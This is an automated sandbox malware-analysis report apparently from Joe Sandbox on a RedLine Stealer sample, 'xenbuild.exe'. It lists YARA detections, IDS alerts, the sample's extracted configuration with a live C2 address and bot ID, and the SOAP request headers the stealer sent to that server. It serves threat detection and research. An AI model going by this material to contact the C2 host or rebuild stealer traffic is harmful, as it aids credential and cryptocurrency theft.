Edit tour

Windows Analysis Report
xenbuild.exe

Overview

General Information

Sample name:	xenbuild.exe
Analysis ID:	1643085
MD5:	18cc3a391f8151ff2bb92cca95fc7c70
SHA1:	5be305a05da65663672c7f3836ac47a0c98b678a
SHA256:	324d99c862a6d3a56d35a201050f1218cab254bb4f0c719a1191e19adfcb8e02
Tags:	176-65-144-3exeuser-JAMESWT_MHT
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Joe Sandbox ML detected suspicious sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

xenbuild.exe (PID: 7688 cmdline: "C:\Users\user\Desktop\xenbuild.exe" MD5: 18CC3A391F8151FF2BB92CCA95FC7C70)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{
  "C2 url": [
    "176.65.144.135:65012"
  ],
  "Bot Id": "MAr2025"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
xenbuild.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
xenbuild.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
xenbuild.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
xenbuild.exe	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143c3:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
xenbuild.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: xenbuild.exe PID: 7688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xenbuild.exe PID: 7688	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: xenbuild.exe PID: 7688	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x36b7c:$a4: get_ScannedWallets 0x35a23:$a5: get_ScanTelegram 0x36805:$a6: get_ScanGeckoBrowsersPaths 0x346b6:$a7: <Processes>k__BackingField 0x31be9:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x33fea:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.xenbuild.exe.a30000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.xenbuild.exe.a30000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.xenbuild.exe.a30000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.xenbuild.exe.a30000.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143c3:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
0.0.xenbuild.exe.a30000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:19.449449+0100	2045000	1	Malware Command and Control Activity Detected	176.65.144.135	65012	192.168.2.4	49719	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:22.735866+0100	2046056	1	A Network Trojan was detected	176.65.144.135	65012	192.168.2.4	49719	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:22.735866+0100	2045001	1	Malware Command and Control Activity Detected	176.65.144.135	65012	192.168.2.4	49719	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:14.409993+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.4	49719	176.65.144.135	65012	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:19.823194+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.4	49719	176.65.144.135	65012	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:24.695460+0100	2848200	1	Malware Command and Control Activity Detected	192.168.2.4	49728	176.65.144.135	65012	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:23.203759+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.4	49726	176.65.144.135	65012	TCP

Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:15:14.409993+0100	1800000	1	Malware Command and Control Activity Detected	192.168.2.4	49719	176.65.144.135	65012	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: xenbuild.exe

Avira: detected

Found malware configuration

Source: xenbuild.exe

Malware Configuration Extractor: RedLine {"C2 url": ["176.65.144.135:65012"], "Bot Id": "MAr2025"}

Multi AV Scanner detection for submitted file

Source: xenbuild.exe	Virustotal: Detection: 81%			Perma Link
Source: xenbuild.exe	ReversingLabs: Detection: 85%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: xenbuild.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.75.172:443 -> 192.168.2.4:49724 version: TLS 1.0

Source: xenbuild.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.4:49719 -> 176.65.144.135:65012
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.4:49719 -> 176.65.144.135:65012
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.4:49726 -> 176.65.144.135:65012
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.4:49728 -> 176.65.144.135:65012
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 176.65.144.135:65012 -> 192.168.2.4:49719
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.4:49719 -> 176.65.144.135:65012
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 176.65.144.135:65012 -> 192.168.2.4:49719
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 176.65.144.135:65012 -> 192.168.2.4:49719

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 176.65.144.135:65012

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 176.65.144.135 ports 65012,0,1,2,5,6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49728

Source: global traffic

TCP traffic: 192.168.2.4:49719 -> 176.65.144.135:65012

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 176.65.144.135:65012Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 176.65.144.135:65012Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 176.65.144.135:65012Content-Length: 928190Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 176.65.144.135:65012Content-Length: 928182Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 172.67.75.172 172.67.75.172

Source: Joe Sandbox View

ASN Name: PALTEL-ASPALTELAutonomousSystemPS PALTEL-ASPALTELAutonomousSystemPS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 172.67.75.172:443 -> 192.168.2.4:49724 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.135

Source: global traffic

HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 176.65.144.135:65012Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp, xenbuild.exe, 00000000.00000002.1324597317.0000000002F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.135:65012
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.135:65012/
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, xenbuild.exe, 00000000.00000002.1324597317.0000000002F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmpB21A.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: xenbuild.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: xenbuild.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmpB21A.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpB21A.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: tmpB21A.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tmpB21A.tmp.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: xenbuild.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

System Summary

Malicious sample detected (through community Yara rule)

Source: xenbuild.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: xenbuild.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: xenbuild.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
